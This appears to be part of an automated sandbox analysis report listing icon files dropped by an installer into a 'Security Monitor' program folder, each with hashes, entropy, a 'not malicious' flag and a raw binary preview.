SSDEEP:	48:Jast2MOHFY/G3BwkW6YvzQNUWRQi+EKbp2uDd4pWRwf2aGAXV:hwMOCGCvzCUW946dfMI
MD5:	E86E5DECCF75CD251149376B2882272B
SHA1:	B84C1608F2E77A4BB78D1523A679F9C74256D227
SHA-256:	228AB3BBAEEA67B9B701E5F034C05E00B61739F4BB8B9256E8FA6E4AE40C74BF
SHA-512:	784EB5883876810C15637C541EB036E87F0964F8A4B39CB7303B3C84EF8FC59425F7528890114B3381EEF021E992CD485A97EB4C58C5B8F5389F3114D6816C63
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................224.02;.15E614E:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:15E903?/01...................................=...H...u.......z...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x.......{...U...%>..B...........................c..%...)...+...)...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(......*...'....u...&E......................B~.'...5...?..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A...@...9...+....b.......................z..;..$D..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...?...(....0F...............'....#E..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...:....Ed...............+.:..#E..#D..#D..#D..#D..#D..#D.."D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-FDIQG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.3625361404350915
Encrypted:	false
SSDEEP:	48:Og3bVNe49Z9LhdznJkyBVLBBHb31UOOrO2SB2NNg1F0U:53FLhBeyBlBB73134NNCWU
MD5:	E1286437AA2367AE05B567CA07F7AE38
SHA1:	A258C5400BBC5E28476805B4EBA278BA6D128432
SHA-256:	A886A335B7FC0A8EB88120FDF43E31AC349553D3DF1D3A911E3D2DF8A530BAAD
SHA-512:	E7477879F63A77A50B11D1CFFEC5ECF911A2906568FDFD1912031FAC0C2180834F5540F6EB190C43C0DA6CA52C51FF0C714C08F32C5ADF52C1FCA15EB2804595
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................X<.!~V.3.W.3Z=.!................................................................................................pM.!.n.{.u..z..~...~...~...~...{..u..o.}sO.%........................................................................\|U.#.t...~...........................................~...t..~W.'.............................................................m.k.~.........................................................~...n.o.....................................................u...........................................................................v..1!...........................................x...........................................~.......................................y.......................................u.u......................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-FHSLB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.123671236740637
Encrypted:	false
SSDEEP:	96:M6HyDOdzc8+Efv02qJgthMtLdhItbSCIYU2P8x4He:YDOd4QH02qJlZdhUzIY0e+
MD5:	9D963AAEF1A316841C2C34AE32CDEDB3
SHA1:	A73386D3ABE3824621B72143E0402BC1388CE700
SHA-256:	9DD59EBDBAA0D4CB4A4422D597DB6C7EEC60624F042A273AB1C75AD785168945
SHA-512:	81757CF518EFB4CCB90BFE35383D39D16F5C9210BBA8EE2E58F62A4961591F4244D78C6702B1AD022E9205C7177976B2E8EDC8E8FA5C4BCD2BB6F95F504140B2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................h-L/./d5.,R/....t........................................................................................................3M3.).C...5.../...1.(.;..I-.................................................................................................3&.$.;.....................!.,.#-.........("&..-^0.,b1. &......................................................................6t8.............................%c$....));$...(...!...'.".8.)='................................................................&/.0..............................l..!.......................&.2....@............................................................,p(...............0...7...1......i..):#..........................&.s............................................................I#...........8.).M./.U./.P.).?. f.."[&...:.&.J.'.G...5..........".q.......9...M...<........................................... ..._.y....$.,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-FNCKH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.128222585880228
Encrypted:	false
SSDEEP:	48:0UTeD1j0JtPPPPPPPPPPPPPPPPPPPPPPPPPPP0BU2LxHfNeQktOOh/L+1Ya2Xm5w:0UTeDrHkQeOOh/Lgf2Xm5PciHahGcymV
MD5:	FE64E1FF82E7BB3030287E3EC9A1CA1F
SHA1:	48B4134044934131BE1F0D78AE817B9D75142218
SHA-256:	2D57537EC385D3B1663ABE0A253446F10942B536B206DF511749302173F7EDD2
SHA-512:	C5DAFD99771D67DE444225E029BAC7D918434A7E1F8D46A50B9401867A720AD7409D95A644385B3924FAB0212936A32A8580BB4BF650BB7A214425C6B72ABBB7
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................9...C...;...<...<...<&..<..<,..<-..<-..<-..<-..<,..<..<&..<...<...;...A...:...........................................=...<...=(..=s..<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...=s..=(..=...=...........................=...>...>...=x..=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=x..>...>...=...............>...?...?...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...........?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...@...?.......@...M...@x..@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@y..K...@...A...A(..A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A(..A...A...Bs..B...B...B...B...B...B...B...B...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-HB8QG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5182
Entropy (8bit):	4.429830209492408
Encrypted:	false
SSDEEP:	48:Rd9W4lzzzzzYXFrNmoN03g+iIsaDBYFGmGW2PD51s2ARAAR/sAye8:dW4gnJLI7DBolGW2r51dARAARRye
MD5:	31B5594B3A3289FB258A4EFBAC38F230
SHA1:	E41016FBE49B5B9B292EFC5C252F73452E55B409
SHA-256:	3B0521E3291E2F330873A66864C3DAC163E8E5DA9D62518C4541B38A979DE7B8
SHA-512:	825F05B05B7A0182B8F87AFCF12BD4FA1B4CF9712D39FCF13058BE32C11091145432273B443F955BEAABB995573252BD7006103E03645107FF434C8EFCC90EA6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .(.......(... ...@..... ....................................................................................................................................................................?...................................................*......................................................................................v.../...................o.................................o.................................................................................................................................................................................................................................j.q.W.n.T.{.d..........................l.......................................=..........i.z.c...............^.>.A...A...A...A...A...A...A...A...T.4..................................................................B...B...B...K.&.B...B...B...B...B...B...B...B...B...B...B...B...`.A...........................................................B...B...B...B...B.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-JRJV5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.548751958766154
Encrypted:	false
SSDEEP:	48:I36IcaNTUkY37c3Yd/oB3cEYp2LctCWZhlt9b7Q01iEtcm:I39NART/EshwaCOLfQmdth
MD5:	3FF113ABAD7A9C6F2AE88B1680E5DE0E
SHA1:	840BDB6139021E1FE655C240324A64481BB999FF
SHA-256:	57EEA00C948FF2F8EE9604160F4143891E5F5792765961408CE99E68CAB04BB6
SHA-512:	52B899DA820C3E3195799300122346B1A461B5139C213CEB8DED89734CDAD45878BE7E2B2F21AB5F9301CDABE6E2628571C9BB62923E318947FB41C0F2D78BF0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..........................................................................................................................................................................................................................................................%...................................................................................................#...G...d...\|....962.:62.;73........]...6..."..."................................................................... .......5...n....gaZ..\|.......................g`Y....K...........................................................................R...vnhb............................................PKEV...................................................................T-+(......................................................................................................................F.+).....................r.~.`...N.bN.`N.X\..sm.v...............}..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-L4QSG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-LPL1L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-LRFL4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.505932325468453
Encrypted:	false
SSDEEP:	48:6x5Iin1G7yKJ1Gs3UNIAB09uq8eq+xn704qtiCA2Kn5t7eUO:6fIinYy7sCIASsq8jKqBA2K5Ber
MD5:	A9756849B11E570FCB8F845201B4A435
SHA1:	6A6085576DD2B871485296BF2EAA1A4E02EF9C81
SHA-256:	4CDD2B35CB1CA9E330D06E184FDA8FA664DD59C7428F67DE9986E77087DEFB5B
SHA-512:	47D16D4EA54B20F7124BDD64B2377D1D00AEECC228EDBCD77A754EDA9D9F977180A2E6E906A0527C9D05EE2C9BEFD52045E7D42B93E69C6E94F9FA73195BDE22
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................._..._.P.a..a.._.P._..................................................................................................._...r.)...?...N...R...G...0....w.._......................................................................................._...\|..2...E...:...,...-...>...O...@..."...._...................................................................................m.*...<...'...+H..@>..MO..:G..'t..G...:....y.............................................................................._.@ ...6...-...$)..'"..41..<9..0,..&"..'g..?...(...._.@.........................................................B...F

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-MAFTE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.636162501782274
Encrypted:	false
SSDEEP:	96:L9Ma1/Da+8+n63MJPD7wVGuTsJsr1sZbol4zQvH:ZN17a+8+jlmsJsxll
MD5:	0673E359F24B2E3E70DEF71FD99DCA08
SHA1:	9CCFDF61774455EFA4F203A295B7CD73970381F1
SHA-256:	9B2E88181222D914DF957836D7DDD48F1400CEF417C2AAF4705F399F07E4F872
SHA-512:	C6178BDBCCCE71F4F92FEF31E8D5FADA4098CD5A2CF9A9593EE5A9E81CC9B878820731EE32874EF912FE816050B7A7F3DC280A2381B2BF41DEC8332BDBC98F9C
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................[I.....F#...L<P................................................................................................^L..........\H..hQ.......t.................................................................................................nF9..........]I..oV..hQ.......w.........................j?6E.YKs.YJu.YJu.XJu.XJu.WIu.XIu.UGu.REu.SEu.REu.SDu.SDu.SDu.RCt.RBy.VF\.........aM..qY..oV..iR.......x......................iX..}h..j...j...j...i..~i..~h..}g..wd..vc..vb..vb..wb..wa..wa..w`..v_..v`......fQ..t[..qY..pX..jT.......z..........}......fV_.m..m..l..l..l..k..k...j..we..vd..vd..wd..wc..wb..wb..wb..wa..xb..\Ms.gS..v^..r[..rZ..qY..kU.......\|.................{h..o..n..n..n..m..m..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-NKOPS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.992992998632407
Encrypted:	false
SSDEEP:	48:LxwRTmmd4FjFuwKqDBF2fA+O4dwvcYhEEXB7/T/B/cfGt:LxtmiFjKuP+O4dw0Wx7/7qOt
MD5:	BCF4E26316979B5DA494DBEA2C92B1CB
SHA1:	080339DB0B56E86428295596CED9EEBF416D050C
SHA-256:	A34A7DB975EB4367B54DC7BB5BC49A6B12F12501C3BEE21D9C9093717C193999
SHA-512:	D52B6394C34929C4758F7F5C3D805EDE1BED09C47F80B23E4EDA8A8A81D12763014B999F95E9FBDAE41A1C26548718B86C90C02BB0C8714B21078330B12D2B8F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................................................................h?!.h?..i@.jA.jA..jA..jA..jA..jA.jA.i@..h?.................................................................................h?...K...S...X..]...Z...S...M...K..\|E..uB..i@.................................................:.Jc:.J.:.J.:.J.:.J.:.J.:.J.:.J..i@..[..o..............z..j...M..oE..d>.............................................:.J.N.b.c.y.j.}.c.u.X.i.N.a.E.W.A.R..lC..g......................{...g.yoR..wU.wjK.ziG.,ju.,kv.fq.0t.................._...A.Q............y..i.y.c.t.n.a..uH..wM..u...............................j...........k.}.2..F...9 ...6...;...<..@@..IC.qK=.P.G.X..........{.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-OFBVL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.099397362289201
Encrypted:	false
SSDEEP:	48:SB5/OEO7w9J5CJDojYDgyTAU8Nazp+1RmzzVzab20B+H7YBkLviAhJySdzMVn9f:UGniUvXAdNGtzzu8ALAmS0
MD5:	3236B7EE04864A464C4269EA6772C06B
SHA1:	C32DAC3F987C391FAEEFB48184431669F6C2D961
SHA-256:	641DB9FED269716510F749F98430FBB3563A0DDE013354CA2ECCC572E95EAF84
SHA-512:	F311E36B92F5905B15E9738FE431C287253A2DDD05D5EBA758DCCD7257884D3A7990DCB6A77401C25122EAC419F68F543ACDA12BB3AABA0C790155EE84544702
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................................................`.........................................................................................................................j.........`.....................................................................................................................Uw..k.........`.................................................................................................................Vw..Wx..w.........@...@...@...@...@.............................................................................................Vx..Wx..Xz..............................................@....................................................... .............Wy..Xy..Xz..X{........................................................ .......................................`.................Wy..Xz..X{..Y{..Z\|..d...Z~..[~..z.........................................P...............................`...............b...Wz..X

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-QNLC6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.980115331909525
Encrypted:	false
SSDEEP:	48:zCCCPJgo7qkfGEEEEEEEEEE1vt9COYNybhh3cGcm:O1So7qkf8zyNw33P
MD5:	6447AACD6C19A9D3F0CDB2322620997A
SHA1:	DECED599496691BB5403D8CAA063227181400DED
SHA-256:	B5D3DDED1F4C3F75C033E19008119BC8E283DE10BBBCE39488854028C54511ED
SHA-512:	91942D1C960B176BCA722CB5AF08B38A0072B789EC9E8B75236662BD69418251FBC1A30A41FD1FE0264CA34934608989AD441E728972F1E389CDB3E30F9336FF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................................................................................................................................................../..?..?../............................o...................................................................................................................?.............................................................................................................?......................................o...........................................................................................................................................................................o........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-QTR44.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.904108079904619
Encrypted:	false
SSDEEP:	48:F+E7L9sciO2jASO/R9Zo6bVUZ0SS/UHL4/h3A4+Brwc2Ni:F+qcjZE7ZL6ZTS/Ur+398rwHw
MD5:	B4C726712268AACA5C8044B19D242C56
SHA1:	82295BE76E35F3B7A017C71DF4AFB7BCB13B8BD9
SHA-256:	67360906D5C412946E6621E6952DCC72E260B4BDA6B1097FB89D0968746B557A
SHA-512:	255E561C23605247FCA1BB3F071CE4E87DA9F580C93F9CB87980F2680C106FEF6B91E478953C667E55AC0B9C4891FB0D6389671AD5C1AEF0DD820ABC032A7F62
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...... .............................(...........................................................................................................*...............M...................................................................................................................U.......$...........................................................................................................................-............................................................................................................................................................................................v.v.1.1........................................................................................................................................................................................................................................................................J.J...........................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-S0RQT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.056283894172477
Encrypted:	false
SSDEEP:	96:DZlab9wlipnz12qCLtZ7JgVksVScm8FPcTi:D3aJkipzZKtpJEkiBFEm
MD5:	F501D67C40B9B639411C99B14F60E14D
SHA1:	6F16B1384505A87848A6FB078FC3B62CC55BBF94
SHA-256:	4EC7F2AB9D5FD7E5F1622F007510B4F4D3C1C779E5CDB4B128E2D53A2E468A28
SHA-512:	775647B02208318CCAB7ED6873D9351ADD106D5EDF27857E73B215B18C04310693D210EB43415690D51191CDEF7F21AECED1B7FCF5A3AFB254698A9CF13AF3CF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................4...G...K...I...<...&...........................%...:...I...J...E...3...................................................7.'a..M...Z...i...e...N...C...#`....p...\...[...n..S..C...K...a...g...Z...M...,k....3.........................................R...............................e...,m..........+i..b...z...........................U...#Z..................................7.@....8....................Gp.VSY........................\co..Hz.............'...G........;.@.................................;. ....~...p...,....Sr.NAA........................................^US..S......[...A........@.0.....................................s.....8...02<.qdb....................................................../C..........~...........................................K...u.*'/.rdb..............................................................1E..y..P..............................................-.#.C67...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-TUD9S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.943764396001677
Encrypted:	false
SSDEEP:	48:LvIxIlvIfcPp3sOHG3cj4D0oT9wgXXXXXXDpXXXXXXDBXXXXXX5vXXXXj9FLXo4O:LvIxIlvIEx3rHb4D0WpZYO2B
MD5:	0075259CD4B132A02EB69CA2D82B1021
SHA1:	D0F009D16495A8480891E0BB1F4D9EF7DFC96B18
SHA-256:	EF6FF1A4B4740C8BA8817D625895D36DDD386C051B798A210EA9B59F68BBAEB7
SHA-512:	2803475A5F0E2B277A022DA9122B6AF5BD1EA8F663C77F39FD2EF739729721A9ADA3B27DC50F8C37B959E45E9A78F8675BB6EDE9AFE77AFCF6DBB54B8D6D3A78
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................'...,...1...1...,...'...............................................................................................1...\.................................\...1...........................................................................6...........................................................6...........................................................(...m.................................................................m...(....................................................................................................................................................................................................sA..m9..................E...Q.................................................................(...........................b)..Z...Z...Z.......................<.................................(...........................m..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-U1Q7E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.327550606417895
Encrypted:	false
SSDEEP:	48:7ok26VKvsyK8gww8d6IrU866xoQ6iekgM7F5F616mlunzNa:7hNqsyw8NxogekgS/01l2zQ
MD5:	B1B0BDF79925656C6612EB420EFDD0CB
SHA1:	67A7A212310C229BD3753F937FE769392719BA85
SHA-256:	02FDCF85764302068222786937E5769650543F7B19B06208B65CE325792E7282
SHA-512:	700EDB186443417B8B5C2FFF44AC0CA4F40492F08789A4C44818F8255E4C5082AB7388AFBEE9DBE86C3979D15FF92F6CF33ED787694470AF7B88B86BD180F01D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................................................................................................................................................................................................................................................................................................!...!........................................................................................................141.........! !.!$!Z...1...1...)...!............................................................................................RQR9....101.Z]Z.........)()s...J...9...)...!........................................................................................BEBZ............sqs.....! !....Z...J...9...).......................................................................................)141.),).............),)........s...R...B...1...!...........................................................................!...1...J..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-UG96C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	0.6322026813246273
Encrypted:	false
SSDEEP:	12:suE555L555L555L555L55r55r55r555r55r555r555r555r555r555r555r55r5I:suvzPFV5
MD5:	E91EE031E8A775B87A966821F46B8003
SHA1:	B093537BEB4335E306C870ECF6C8C1431279F262
SHA-256:	E01B114837D5A19D2AB3492279F6AA0EA6AB960C4FFEB8369BB1A85F18672337
SHA-512:	70D2E0F656E784A10505BF73568E9BA0329EF612512B62458F3C2A6A44B3E09DF0D18D8B481978C9974A54844C7E67B0D94A56FB0FBCA616A95F21D89F6882F0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\none.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	0.6322026813246273
Encrypted:	false
SSDEEP:	12:suE555L555L555L555L55r55r55r555r55r555r555r555r555r555r555r55r5I:suvzPFV5
MD5:	E91EE031E8A775B87A966821F46B8003
SHA1:	B093537BEB4335E306C870ECF6C8C1431279F262
SHA-256:	E01B114837D5A19D2AB3492279F6AA0EA6AB960C4FFEB8369BB1A85F18672337
SHA-512:	70D2E0F656E784A10505BF73568E9BA0329EF612512B62458F3C2A6A44B3E09DF0D18D8B481978C9974A54844C7E67B0D94A56FB0FBCA616A95F21D89F6882F0
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\qip.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.07531325717377
Encrypted:	false
SSDEEP:	48:n2to4hDDD+l6ZtQE1mA/+PWLlClkKAUqjcVGTJUysHFa/IJu:2tthDDal6LL+PWQSB6sTqysHFaQJu
MD5:	D0D41AD531613F51005CFDD6E7AFC134
SHA1:	828A3A01B74603403798155326286743F5E4000C
SHA-256:	0E43F7B2B24A035112F9FACD840EF0856F68260BA890CA1EDD7FF7B4A1DD3036
SHA-512:	3471310FDE5E1341FD75B69C5271B15B385885E90A277E90F989D75638CCCA63E1E04BF4574E2610B24AC16BD0C04113EFC15E5B2A25EBC94191845BD03E8F44
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................RRR.VWW.}...ccd.ccd.~...dee.-...............................................................................................qrr.))).....................................................................................................................PRR.]__.'''.9;:.?CA.<>=.<?=.@CA.011....%uxx.............................................................................................wxw.........................NOO.................TTT.BBB.;;;.........................................JJJ.HHH.OOO=eee.TSS.ZYY+433.........`.y.E.e.F.f.Y.v.................bbb.[[Z....O.......................................................................2...........0...%...'...+...........2...4........XXX.....xxx.............................................................lll....F........1...7...8...............Y............ppp.....ccc.........................\\\.ttt.nnn.non.ddc.rrr...............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\skype.ico (copy)

Download File

